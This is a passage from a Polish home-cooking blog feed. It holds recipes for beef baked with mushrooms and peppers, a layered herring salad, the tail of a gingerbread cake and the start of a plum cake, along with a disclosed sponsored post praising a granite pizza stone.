piernika i solą.</li><li>Do masy dodawać partiami mąkę z przyprawą do piernika i mieszać delikatnie, ale dokładnie, aby w masie piernikowej nie było suchych grudek mąki.</li><li>Formę wyłożyć papierem i równomiernie rozprowadzić na nim masę piernikową. Powierzchnię starannie wyrównać, aby po upieczeniu piernik miał równą grubość.</li><li>Piec w piekarniku nagrzanym góra-dół do 180 stopni C około 15 - 18 minut, do suchego patyczka.</li><li>Po upieczeniu ciasto wystudzić i przekroić w połowie szerokości tak, aby obie części były równe.</li><li>Między dwie części piernika rozłożyć połowę lekko tężejącej masy z jabłek, a na wierzch drugą ich część.</li><li>Wstawić do lodówki, aby masa z jabłek zastygła.</li></ol><h4 style="text-align: left;">Masa z jabłek do piernika:</h4><ol style="text-align: left;"><li>Jabłka obrać i pokroić w kostkę.</li><li>3/4 jabłek włożyć do garnka, dodać sok z cytryny, cukier i gotować na umiarkowanej mocy palnika około 20 minut. Po tym czasie dodać pozostałe jabłka i gotować do czasu, aż będą miękkie.</li><li>Jeśli jabłka są niezbyt soczyste, to należy dodać nieco gorącej wody, aby był w nich płyn potrzebny do rozpuszczenia galaretki.</li><li>Gdy jabłka będą miękkie, zdjąć garnek z palnika i dodać galaretkę w proszku. Mieszać do czasu, aż galaretka się rozpuści i nie będzie wyczuwalna w masie.</li><li>Piernik przekładać lekko tężejącą masą z jabłek.<br /><br /><b><span style="color: #990000;">Zobacz również:</span></b> <a href="https://www.kuchcikgotuje.pl/2017/12/miodownik-z-kremem-z-kaszy-manny.html" target="_blank">miodownik z kremem z kaszy manny</a>.</li></ol></div></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com3tag:blogger.com,1999:blog-2509800748059388515.post-47389063579192597922023-11-17T09:53:00.010+01:002023-12-25T11:51:37.756+01:00Wołowina po cygańsku z piekarnika<h2 style="text-align: left;">Wołowina po cygańsku z piekarnika świetnie sprawdzi się jako pyszny obiad zarówno na święta, jak i na co dzień. Miękka wołowina duszona w piekarniku z delikatnie wyczuwalnym w sosie smakiem pieczarek, papryki i kiszonego ogórka. Pieczony udziec wołowy wręcz rozpływa się w ustach i można dzielić go samym widelcem bez noża.</h2><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieHgT5oLAfg5NYCl0XmNH6oC87S0cSH0OtfcUN3JrErDTqPaGT5I0mYgYQltMBx-E7-74OOK30KgRWwUK-aixh9Hoiawf4vJHt1tGESJxY7-0wi8fU84N6sWiV767mpw66_ZqjXw9z8nhSreG6sPJGmwFvco2tX8eMMHb-Gkk0Jc6DpwoKbWA_Ff70P235/s1600/Wo%C5%82owina%20po%20cyga%C5%84sku%20z%20piekarnika0.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Pieczona wołowina z pieczarkami i papryką" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieHgT5oLAfg5NYCl0XmNH6oC87S0cSH0OtfcUN3JrErDTqPaGT5I0mYgYQltMBx-E7-74OOK30KgRWwUK-aixh9Hoiawf4vJHt1tGESJxY7-0wi8fU84N6sWiV767mpw66_ZqjXw9z8nhSreG6sPJGmwFvco2tX8eMMHb-Gkk0Jc6DpwoKbWA_Ff70P235/w400-h300/Wo%C5%82owina%20po%20cyga%C5%84sku%20z%20piekarnika0.jpg" title="Wołowina po cygańsku z piekarnika" width="400" /></a></div><span><a name='more'></a></span><div class="separator" style="clear: both; text-align: left;"><b>Wołowina z piekarnika</b> po cygańsku jest dość łatwym do przygotowania daniem na obiad. <b>Pieczona wołowina</b> będzie miękka, jeśli użyjemy niezbyt chudego kawałka mięsa i odpowiednio zamarynujemy. Do pieczenia, a raczej duszenia w piekarniku dobrze sprawdza się niezbyt chudy udziec wołowy, karkówka lub łopatka wołowa. Dobrze również mieć sprawdzonego sprzedawcę wołowiny, wtedy możemy mieć pewność, że nie kupimy mięsa słabej jakości i danie wyjdzie tak, jak powinno.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Wołowina po cygańsku u mnie jest z pieczarkami, ale można ją w sezonie zrobić z grzybami leśnymi, będzie wtedy jeszcze smaczniejsza. Czas pieczenia dostosować do jakości i części użytej wołowiny. Nie zwiększać temperatury, gdyż lepiej piec wołowinę dłużej w niższej temperaturze. Mięsa nie wstawiać do pieczenia prosto z lodówki, gdyż nagła zmiana temperatury wołowinie nie służy.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBlHLeu1sAzomFr0B8lojcl82Mal-Y52R9Z7Pr1KONoyzXGpeAt9oNAd0i9rl5ZLHO6JRXSk9r8DABLXBDy4KbsyiHYKPoZnWKknCE9EBpaFOLGZBIR8iT_nOhnqYl5qJpYN3PMGHIsiq4mLpbV56SzycK3OzrvM-c1qw_n5fFGhT8Mr23rsYF_a65f14F/s1600/Wo%C5%82owina%20po%20cyga%C5%84sku%20z%20piekarnika.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Pieczone mięso wołowe z papryką i pieczarkami" border="0" data-original-height="1194" data-original-width="1600" height="299" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBlHLeu1sAzomFr0B8lojcl82Mal-Y52R9Z7Pr1KONoyzXGpeAt9oNAd0i9rl5ZLHO6JRXSk9r8DABLXBDy4KbsyiHYKPoZnWKknCE9EBpaFOLGZBIR8iT_nOhnqYl5qJpYN3PMGHIsiq4mLpbV56SzycK3OzrvM-c1qw_n5fFGhT8Mr23rsYF_a65f14F/w400-h299/Wo%C5%82owina%20po%20cyga%C5%84sku%20z%20piekarnika.jpg" title="Wołowina po cygańsku z piekarnika" width="400" /></a></div><fieldset>Liczba porcji: 12<br />Czas przygotowania: 45 minut<br />Czas pieczenia: 75 minut<br /><a title="Podana w przepisach wartość kaloryczna 100 g dania jest szacunkowa, gdyż produkty różnych producentów mogą mieć inną liczbę kcal.">Wartość kaloryczna</a>: 100 g = 98 kcal<br />Kategoria: obiad<br />Dieta: mięsna</fieldset><h3 style="text-align: center;">Przepis na wołowinę po cygańsku z piekarnika:</h3><h4 style="text-align: left;">Składniki na pieczoną wołowinę:</h4><div><ul style="text-align: left;"><li>1800 g mięsa z udźca wołowego</li><li>3 cebule</li><li>500 g pieczarek</li><li>3 papryki (300 g)</li><li>5 ogórków kiszonych (300 g)</li><li>5 łyżeczek mielonego kminku</li><li>4 łyżeczki mielonej kolendry</li><li>4 łyżeczki papryki słodkiej</li><li>4 łyżeczki majeranku</li><li>2,5 łyżeczki pieprzu naturalnego</li><li>2,5 - 3 łyżeczki soli</li></ul><h4 style="text-align: left;">Sos do wołowiny:</h4><ul style="text-align: left;"><li>1 łyżka musztardy Dijon</li><li>5 łyżek koncentratu pomidorowego<br /></li><li>2 łyżki octu jabłkowego</li><li>5 łyżek sosu sojowego</li><li>2 łyżki miodu naturalnego</li><li>2 łyżeczki czosnku suszonego lub kilka ząbków świeżego przeciśniętego przez praskę</li><li>2 łyżeczki słodkiej papryki</li><li>2 łyżeczki tymianku</li><li>80 ml wody<br /><b>Dodatkowo:</b></li><li> 6 łyżek oleju do smażenia</li><li>1 szklanka mąki pszennej pełnoziarnistej</li></ul></div><i>
Do odmierzania używam: łyżki - 15 ml, łyżeczki - 5 ml.</i><div style="text-align: left;"><span style="font-size: large;"><b>Opis krok po kroku:</b></span></div><h3 style="text-align: left;">Jak zrobić wołowinę po cygańsku z piekarnika?</h3></div><div><ol style="text-align: left;"><li>Wołowinę umyć, osuszyć ręcznikiem papierowym, pokroić w poprzek włókien na plastry o grubości 1,5 - 2 cm.</li><li>Wymieszać ze sobą kminek, kolendrę, paprykę słodką, majeranek, pieprz i sól. Jeśli lubimy ostrzejsze smaki, to można dodać nieco papryki ostrej.</li><li>Mieszanką z przypraw natrzeć z obu stron każdy plaster i odstawić na około 40 minut. Po tym czasie mięso obtoczyć w mące i obsmażyć.</li><li>Cebule obrać, pokroić w pióra i zeszklić na patelni z kilkoma łyżkami oleju.</li><li>Pieczarki oczyścić, pokroić w plastry o grubości 0,5 cm i obsmażyć.</li><li>Papryki oczyścić i pokroić w niezbyt drobną kostkę.</li><li>Ogórki pokroić w drobną kostkę.</li><li>Wszystkie składniki sosu do wołowiny dokładnie wymieszać.</li><li>Na dnie brytfanki do pieczenia rozłożyć połowę cebuli i pieczarek, a na nie poukładać plastry obsmażonego mięsa.</li><li>Mięso posmarować z wierzchu sosem i posypać połową ogórków i papryki.</li><li>Następnie położyć drugą część cebuli i pieczarek, a na to plastry mięsa.</li><li>Mięso posmarować sosem, posypać ogórkami kiszonymi i papryką.</li><li>Piec pod przykryciem w piekarniku rozgrzanym do 180 stopni C przez około 75 minut.</li><li>Podawać według uznania z ziemniakami, kaszą lub chrupiącym pieczywem.<br /><br /><b><span style="color: #990000;">Zobacz również:</span></b> <a href="https://www.kuchcikgotuje.pl/2017/02/woowina-po-burgundzku.html" target="_blank">wołowina po burgundzku</a>.</li></ol></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com5tag:blogger.com,1999:blog-2509800748059388515.post-32755244905473347082023-11-12T07:40:00.005+01:002023-12-25T11:52:52.829+01:00Sałatka śledziowa warstwowa<h2 style="clear: both; text-align: left;">Znana wszystkim sałatka śledziowa warstwowa, czyli śledź pod pierzynką. Sałatka ze śledzia, która swoim smakiem cieszy już wiele pokoleń i nigdy się nie nudzi. Przepis na warstwową sałatkę ze śledzia w wersji podstawowej. Prosta i smaczna przystawka ze śledzia, a do tego łatwa do przygotowania.</h2><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpNQK6FGCvaCH1mJIPDeGhJsAgmt93ReJWo897cSJ-KGnyfJn8ejEV9dIDGFY6j9bmbInrz0ZLUw6nyJcm92HR6dbZdSvBMh45l2WL50E2bxoiWDX9xwdLBdbaAz5JLrd6UOkJ1K6UOj4FSGcKEfErv1X9IhERI-s_DOyj8BdvZChLkTgbdOShDaRZzOQ/s1600/Warstwowa%20sa%C5%82atka%20%C5%9Bledziowa1.jpg" style="margin-left: 1em; margin-right: 1em;"></a><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpNQK6FGCvaCH1mJIPDeGhJsAgmt93ReJWo897cSJ-KGnyfJn8ejEV9dIDGFY6j9bmbInrz0ZLUw6nyJcm92HR6dbZdSvBMh45l2WL50E2bxoiWDX9xwdLBdbaAz5JLrd6UOkJ1K6UOj4FSGcKEfErv1X9IhERI-s_DOyj8BdvZChLkTgbdOShDaRZzOQ/s1600/Warstwowa%20sa%C5%82atka%20%C5%9Bledziowa1.jpg" style="margin-left: 1em; margin-right: 1em;"></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9MAF8K3XtobM9Np0IBu5kkBEwugtSGK03K2i1GcttEuy-3kEJSZ0BjZDY5lqjMzCe26IZRrezbKMTcmttZ6oIXEwPCEgiGMGj_E8uIww2pgPQ6v1ITo20pkh84rBFex-m70yy8NIRJys-sidXqF7RwHY91s6exYfk73DXU0mL99r5juzMaAm7BZAP7UM/s1600/Warstwowa%20sa%C5%82atka%20%C5%9Bledziowa2.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Sałatka ze śledzia z marchewką i jajkami, śledź pod pierzynką" border="0" data-original-height="1481" data-original-width="1600" height="370" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9MAF8K3XtobM9Np0IBu5kkBEwugtSGK03K2i1GcttEuy-3kEJSZ0BjZDY5lqjMzCe26IZRrezbKMTcmttZ6oIXEwPCEgiGMGj_E8uIww2pgPQ6v1ITo20pkh84rBFex-m70yy8NIRJys-sidXqF7RwHY91s6exYfk73DXU0mL99r5juzMaAm7BZAP7UM/w400-h370/Warstwowa%20sa%C5%82atka%20%C5%9Bledziowa2.jpg" title="Sałatka śledziowa warstwowa" width="400" /></a></div></div><span><a name='more'></a></span><div class="separator" style="clear: both; text-align: left;"><b>Sałatka śledziowa </b>warstwowa, czyli <b>śledź pod pierzynką</b> jest chyba najczęściej robioną przystawką na różnego rodzaju mniej i bardziej odświętne okazje. W moim domu przygotowywana już od 3 pokoleń i jeszcze się nie znudziła. Najczęściej <b>sałatka ze śledzia</b> jest u mnie w wersji podstawowej, czyli z marchewką i kiszonym ogórkiem. W wersji odświętnej, zamiast marchewki używam pieczonego buraka, a ogórek zamieniam na jabłko. Widziałam bardziej rozbudowane sałatki warstwowe ze śledzia, ale do tej pory te 2 wersje jeszcze się nie znudziły i przy nich na razie pozostanę.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Podstawą sałatki warstwowej jest śledź i musi on być dobrej jakości, najlepiej małosolny śledź matias. Jeśli mamy bardzo słone śledzie, to trzeba je wymoczyć, ale niezbyt długo, gdyż stracą smak. Ilość majonezu dostosować do swoich upodobań. U mnie jest umiarkowana jego ilość, gdyż nie lubię sałatek z dużą ilością majonezu.</div><div class="separator" style="clear: both; text-align: center;"><img alt="Szuba, sałatka ze śledzia z marchewką i jajkami" border="0" data-original-height="1150" data-original-width="1600" height="288" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpNQK6FGCvaCH1mJIPDeGhJsAgmt93ReJWo897cSJ-KGnyfJn8ejEV9dIDGFY6j9bmbInrz0ZLUw6nyJcm92HR6dbZdSvBMh45l2WL50E2bxoiWDX9xwdLBdbaAz5JLrd6UOkJ1K6UOj4FSGcKEfErv1X9IhERI-s_DOyj8BdvZChLkTgbdOShDaRZzOQ/w400-h288/Warstwowa%20sa%C5%82atka%20%C5%9Bledziowa1.jpg" title="Sałatka śledziowa warstwowa" width="400" /></div><fieldset>Liczba porcji: 6<br />Czas przygotowania: 30 minut<br />Czas gotowania: 20 minut<br /><a title="Podana w przepisach wartość kaloryczna 100 g dania jest szacunkowa, gdyż produkty różnych producentów mogą mieć inną liczbę kcal.">Wartość kaloryczna</a>: 100 g = 170 kcal<br />Kategoria: przystawka, sałatka<br />Dieta: wegetariańska, bezglutenowa</fieldset><h3 style="text-align: center;">Przepis na sałatkę śledziową warstwową:</h3><h4 style="text-align: left;">Składniki na śledzia pod pierzynką:</h4><div><ul style="text-align: left;"><li>500 g płatów śledziowych małosolnych matias</li><li>1 cebula (140 g)</li><li>3 marchewki (300 g)</li><li>5 ziemniaków (500 g)</li><li>4 ogórki kiszone (200 g)</li><li>5 jajek (250 g)</li><li>300 g majonezu</li><li>1 łyżka oleju rzepakowego (15 g)</li><li>świeżo mielony pieprz naturalny</li><li>sól (opcjonalnie)<br /></li></ul></div><h3 style="text-align: left;"><div style="text-align: left;"><span style="font-size: large;">Opis krok po kroku:</span></div>Jak zrobić sałatkę warstwową ze śledzia?</h3><div><ol style="text-align: left;"><li>Śledzie spróbować, jeśli są mocno słone, to moczyć je w zimnej wodzie do czasu, aż będą mniej słone. Wodę podczas moczenia wymieniać.</li><li>Śledzie po moczeniu wyjąć z wody, osuszyć ręcznikiem papierowym i pokroić w kostkę.</li><li>Pokrojone śledzie wymieszać z olejem i rozłożyć równomiernie na dnie naczynia, najlepiej szklanego.</li><li>Ziemniaki i marchewki włożyć do gotującej się lekko osolonej wody i gotować około 20 minut. Ziemniaki powinny być na spodzie, gdyż dłużej się gotują. Po około 15 minutach gotowania należy sprawdzić widelcem marchewki, jeśli widelec swobodnie da się wyjąć z marchewki po wkłuciu, to można je wyjąć. Tak samo sprawdzić ziemniaki. Warzywa nie powinny się rozpadać, gdyż trudno będzie je zetrzeć na tarce i kroić.</li><li>Warzywa po ugotowaniu wystudzić i obrać. Marchew zetrzeć na dużych oczkach tarki, a ziemniaki pokroić w kostkę o boku 1 cm.</li><li>Jajka ugotować na twardo, wystudzić w zimnej wodzie i obrać. Jajka od czasu zagotowania się wody gotuję 8 minut.</li><li>Cebulę obrać i pokroić w kostkę.</li><li>Ogórki zetrzeć na tarce o dużych oczkach lub pokroić w kostkę.</li><li>Na śledzie rozłożyć cebulę oraz ziemniaki, oprószyć pieprzem i rozsmarować pół majonezu.</li><li>Następnie rozłożyć równomiernie warstwę z ogórków, a na nie starte marchewki, oprószyć pieprzem i rozsmarować pozostały majonez.</li><li>Na wierzch sałaki warstwowej ze śledzia zetrzeć na dużych oczkach tarki ugotowane jajka i oprószyć delikatnie pieprzem.<br /><br /><b><span style="color: #990000;">Zobacz również:</span></b> <a href="https://www.kuchcikgotuje.pl/2017/12/saatka-sledziowa-z-burakiem-i-jabkiem.html" target="_blank">sałatka śledziowa z burakiem i jabłkiem</a>.</li></ol></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com2tag:blogger.com,1999:blog-2509800748059388515.post-82634894233627811642023-11-06T07:52:00.005+01:002023-11-06T07:53:20.666+01:00Domowa pizza jak z profesjonalnej pizzerii? Tak, to możliwe!<div><br /></div><h2 style="text-align: left;">Domowa pizza o jakości jak z profesjonalnej pizzerii, czy to możliwe? Tak, jest to możliwe, nawet gdy w domu nie masz pieca opalanego drewnem. Wypieczesz pizzę o jakości porównywalnej do pizzy z najlepszej pizzerii, dzięki pieczeniu jej na kamieniu do pieczenia pizzy Pastone. Sprawdź, jego właściwości i zastosowanie!</h2><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgC16jkvXZ3jIUf-QJ2TEurPJqDoWQvDJamOS0nD0FL60vzNW6tPeHZu9KVI_20vir3rBGUWkbzs7KEW-ewBaCothSHsQ7dRhnaGcl88dalH1ZwAcC2kV0Mgu9s-ZUtISAX9f6-J_VriRgcThOijJsBYw9zHaACsmNHzF1C8VCEGRChMWVxW0n8_CVX3F2H/s1600/pizza1.jpg" style="margin-left: auto; margin-right: auto;"><img alt="Domowa pizza pieczona na granitowym kamieniu" border="0" data-original-height="1067" data-original-width="1600" height="266" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgC16jkvXZ3jIUf-QJ2TEurPJqDoWQvDJamOS0nD0FL60vzNW6tPeHZu9KVI_20vir3rBGUWkbzs7KEW-ewBaCothSHsQ7dRhnaGcl88dalH1ZwAcC2kV0Mgu9s-ZUtISAX9f6-J_VriRgcThOijJsBYw9zHaACsmNHzF1C8VCEGRChMWVxW0n8_CVX3F2H/w400-h266/pizza1.jpg" title="Domowa pizza jak z profesjonalnej pizzerii? Tak, to możliwe!" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: right;"><span style="font-size: x-small;">Źródło: Pixabay</span></td></tr></tbody></table><span><a name='more'></a></span><div>Ile razy rodzina prosiła o zrobienie pizzy, a z Twojej strony była odmowa jej zrobienia? Znam to, również często do tej pory odmawiałam, gdyż mój piekarnik nie ma tak dużej mocy, aby pizza była dobrze wypieczona. Przy obecnych cenach pizzy częste wyjścia z rodziną do lokalu raczej odpadają, gdyż zbyt mocno obciążają domowy budżet. Dlatego pieczenie pizzy w domu bardziej się opłaca i może być świetnym sposobem do zaangażowania rodziny w jej przygotowanie, a tym samym miłym spędzeniem razem czasu i pogłębieniem więzi z rodziną. Do wspólnego robienia pizzy warto zaprosić nie tylko rodzinę, ale i znajomych, którzy dzięki robieniu razem z nami pizzy, na pewno chętniej będą chcieli nas odwiedzać.<br /><br /></div><h3 style="text-align: left;">Co zrobić, aby domowa pizza była takiej samej jakości jak pizza z profesjonalnej pizzerii?</h3><div>Niedawno odkryłam sposób na idealnie wypieczoną domową pizzę, bez potrzeby posiadania specjalnego pieca do pizzy. Moim odkryciem był <a href="https://pastone.pl/produkt/kamien-do-pizzy/" target="_blank">kamień do pieczenia pizzy</a> Pastone, który sprawił, że moja pizza teraz jest wypiekana na bardziej profesjonalnym poziomie. Nie muszę się już martwić, że pizza odpowiednio się nie wypiecze, bo temperatura domowego piekarnika jest zbyt niska. Profesjonalny kamień do pieczenia pizzy sprawił, że pieczenie pizzy stało się przyjemnością i stałym rytuałem w moim domu, przynajmniej raz w miesiącu. Plusem posiadania kamienia do pizzy jest to, że nie muszę już przejmować się budżetem, gdyż mogę sama zrobić pizzę jak z najlepszej pizzerii.<br /><br /></div><div><h3 style="text-align: left;">Najważniejsze zalety, które posiada kamień do pieczenia pizzy to:</h3><ul style="text-align: left;"><li>świetnie kumuluje w sobie ciepło</li><li>równomiernie rozprowadza i oddaje ciepło</li><li>rozgrzewa się nawet do 600 stopni C</li><li>na powierzchni utrzymuje około 400 stopni C</li><li>wykonany jest z granitu</li><li>nie wydziela szkodliwych substancji</li><li>świetnie odprowadza wilgoć z ciasta</li><li>zastępuje piec do pieczenia pizzy opalany drewnem</li><li>pozwala na równomierne wypieczenie pizzy również od spodu</li></ul></div><h3 style="text-align: left;">Co wpływa na jakość pieczonej pizzy w domu?</h3><div>Każdy odpowie na to pytanie pewnie bez zastanowienia, że dobrej jakości składniki, z których robimy pizzę. Jest to prawidłowa odpowiedź, gdyż ciasto zrobione z włoskiej mąki do pizzy typu 00 i wysokiej jakości dodatki tworzą smak, ale to nie wszystko. Zasadniczą kwestią i nie wiem, czy nie najważniejszą podczas robienia pizzy w domu, jest sposób jej wypiekania. Pizza powinna być pieczona krótko, ale w wysokiej temperaturze, wtedy z zewnątrz będzie przyjemnie chrupiąca, a w środku miękka.</div><div><br /></div><div>W domowych piekarnikach zazwyczaj nie ma możliwości ustawienia tak wysokiej temperatury, jaka jest w piecu do pieczenia pizzy opalanym drewnem. Osiągnięcie wymaganej temperatury do pieczenia pizzy w domowym piekarniku jest jednak możliwe. Z pomocą przychodzi profesjonalny kamień do pizzy Pastone, którego właściwości wymieniłam powyżej. Granitowy kamień do piekarnika po rozgrzaniu pozwala na wypieczenie pizzy takiej jak z profesjonalnej pizzerii.<br /><br /></div><h3 style="text-align: left;">Jak korzystać z kamienia do pieczenia pizzy w domu?</h3><div>Nowy kamień do pizzy trzeba najpierw starannie przetrzeć wilgotną szmatką bez detergentów i wysuszyć. Kamień do pieczenia pizzy należy włożyć do zimnego piekarnika, zachowując odstęp od górnej grzałki około 10 cm. Piekarnik ustawić na najwyższą możliwą dla danego piekarnika temperaturę, grzanie tylko górnej grzałki (grill). Na rozgrzany kamień za pomocą specjalnej łopatki położyć pizzę i piec krótko z włączoną górną grzałką. Rozgrzany kamień wypiecze pięknie pizzę od spodu, a grzałka grillowa od góry.</div><div><br /></div><div><span><b>Ważne!</b><br /><br /></span></div><div>> Kamień do pizzy nie lubi nagłych zmian temperatury. Dlatego powoli go rozgrzewaj i pozwól, aby tak samo powoli wystygł po rozgrzaniu.</div><div>> Nie rozgrzewaj nagle mokrego ani bardzo zimnego kamienia, gdyż może pęknąć.</div><div>> Nie smaruj kamienia olejem, gdyż olej będzie się przepalać i dymić. Spalony olej może również zmienić smak pizzy.</div><div>> Do nakładania pizzy używaj specjalnej łopatki i rękawic ochronnych, gdyż kamień bardzo mocno się nagrzewa.</div><div><br /></div><div><span style="font-size: x-small;">*artykuł sponsorowany</span></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com0tag:blogger.com,1999:blog-2509800748059388515.post-18800150750612761222023-11-05T11:28:00.009+01:002023-12-25T11:53:46.232+01:00Szybki placek ze śliwkami<h2 style="text-align: left;">Szybki placek ze śliwkami na pyszny jesienny deser do kawy. Przepis na ciasto ze śliwkami jest bardzo prosty i łatwy do zrobienia. Potrzebne są w sumie tylko 2 miski i łyżka lub rózga do mieszania. Więcej czasu zajmuje wyjmowanie pestek ze śliwek, niż samo przygotowanie tego szybkiego ciasta ze śliwkami.</h2><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitMAc5NPZb0-OvLWr2qvbXXJWaTO9vHp1Kf3mf2EWDOgdtlSElVzHicAjZylaI7d2gce9ZU4-I22okMf-aYC4-AGbDi4j3CK7zSDc5RTT8kX6_UKatf7Tm2Fpa6nGUCbSD9BXH21MEO8klwB0STircCmfrtzP61Zg_4LCcAwhKl_cTYO3luuA6-hCqHYXL/s1600/Szybki%20placek%20ze%20%C5%9Bliwkami1.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Szybkie ciasto ze śliwkami i kakao" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitMAc5NPZb0-OvLWr2qvbXXJWaTO9vHp1Kf3mf2EWDOgdtlSElVzHicAjZylaI7d2gce9ZU4-I22okMf-aYC4-AGbDi4j3CK7zSDc5RTT8kX6_UKatf7Tm2Fpa6nGUCbSD9BXH21MEO8klwB0STircCmfrtzP61Zg_4LCcAwhKl_cTYO3luuA6-hCqHYXL/w400-h300/Szybki%20placek%20ze%20%C5%9Bliwkami1.jpg" title="Szybki placek ze śliwkami" width="400" /></a></div><span><a name='more'></a></span><div class="separator" style="clear: both; text-align: left;"><b>Szybki placek ze śliwkami</b> najlepszy jest, gdy do jego zrobienia użyjemy prawdziwych śliwek węgierek. Niestety nie wszystkie śliwki węgierki są takie same. Prawdziwe, starsze odmiany śliwki węgierki są najlepsze, mają mniejsze owoce, z których łatwo wyjąć pestki, a ich miąższ jest bardziej zwarty. Nowe odmiany śliwki węgierki mają większe owoce i są bardziej soczyste/wodniste. <b>Ciasto ze śliwkami</b> najlepiej robić z mniejszych śliwek węgierek, gdyż mniej puszczają sok i bardziej zachowują kształt po upieczeniu.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><b>Przepis na ciasto ze śliwkami</b> jest bardzo prosty, ale trzeba zwrócić uwagę na dwie sprawy. Ciasta nie wolno zbyt intensywnie i długo mieszać, gdyż z mąki uwolni się dużo glutenu i ciasto po upieczeniu może być twarde. Ciasto ze śliwkami piec tylko do tzw. suchego patyczka, gdyż zbyt długie pieczenie za mocno je wysuszy. Ciasto po upieczeniu powinno być miękkie i delikatnie wilgotne, a nie suche.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWj2j2J4g_f4qK_ENoRFG73AevmLISnuBB_aUDYtQFfRWB7qf5OujMoYmIIxoEita5lAlHq2WipEDVxVx45mqL71Jik85tQg9tCY82ovA6rX4F8WV1JjUmsQVnmrs52jfUNJVxTw2_U8MMo34acA8vwcdL5TyXyZROL8pPqffxxpEuR_ZVqQ8QnNBu681O/s1600/Szybki%20placek%20ze%20%C5%9Bliwkami2.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Ciasto czekoladowe ze śliwkami" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWj2j2J4g_f4qK_ENoRFG73AevmLISnuBB_aUDYtQFfRWB7qf5OujMoYmIIxoEita5lAlHq2WipEDVxVx45mqL71Jik85tQg9tCY82ovA6rX4F8WV1JjUmsQVnmrs52jfUNJVxTw2_U8MMo34acA8vwcdL5TyXyZROL8pPqffxxpEuR_ZVqQ8QnNBu681O/w400-h300/Szybki%20placek%20ze%20%C5%9Bliwkami2.jpg" title="Szybki placek ze śliwkami" width="400" /></a></div><fieldset>Liczba porcji: 20<br />Czas przygotowania: 30 minut <br />Czas pieczenie: 40 minut<br /><a title="Podana w przepisach wartość kaloryczna 100 g dania jest szacunkowa, gdyż produkty różnych producentów mogą mieć inną liczbę kcal.">Wartość kaloryczna</a>: 100 g = 282 kcal<br />Kategoria: ciasto, deser<br />Dieta: wegetariańska<br />Forma: 29 cm x 24 cm x 7 cm</fieldset><h3 style="text-align: left;">Przepis na szybki placek ze śliwkami:</h3><h4 style="text-align: left;">Składniki na placek ze śliwkami:</h4><div><ul style="text-align: left;"><li>3 szklanki mąki pszennej (500 g)</li><li>3 łyżki kakao naturalnego (30 g)</li><li>1 szklanka cukru (220 g)</li><li>1 łyżeczka proszku do pieczenia (4 g)</li><li>1 łyżeczka sody oczyszczonej (4 g)</li><li>3/4 szklanki oleju rzepakowego (180 g)</li><li>4 jajka (224 g)</li><li>1 łyżka octu (15 ml)</li><li>1 szklanka wody gazowanej (250 ml)</li><li>2 łyżeczki kawy naturalnej rozpuszczalnej</li><li>50 ml wrzącej wody</li></ul><b>Dodatkowo:</b><br /><ul style="text-align: left;"><li>4 łyżeczki cukru trzcinowego (jeśli śliwki są niezbyt słodkie)</li><li>500 g świeżych śliwek węgierek</li><li>4 łyżki wiórków kokosowych (24 g), (opcjonalnie)</li></ul></div><i>
Do odmierzania używam: szklanki - 250 ml, łyżki - 15 ml, łyżeczki - 5 ml.</i></div><h3 style="text-align: left;"><div style="text-align: left;"><span style="font-size: large;">Opis krok po kroku:</span></div>Jak zrobić szybki placek ze śliwkami?</h3><div><ol style="text-align: left;"><li>Śliwki umyć, osuszyć i po przekrojeniu na pół, wyjąć pestki.</li><li>Kawę zalać wrzącą wodą i wystudzić.</li><li>W jednej misce wymieszać dokładnie mąkę, kakao, cukier, proszek do pieczenia i sodę.</li><li>W drugiej misce roztrzepać rózgą najpierw jajka z olejem i połączyć z wystudzoną kawą i octem.</li><li>Do wymieszanych mokrych składników, dodawać na przemian składniki suche i wodę gazowaną.</li><li>Wszystko wymieszać delikatnie, ale dokładnie, aby w masie na było grudek suchej mąki.</li><li>Formę wyłożyć papierem do pieczenia, przelać masę na ciasto i wyrównać.</li><li>Wierzch ciasta posypać wiórkami kokosowymi i powciskać w nie połówki śliwek. Śliwki układać jedna obok drugiej skórką do dołu. Jeśli śliwki są niezbyt 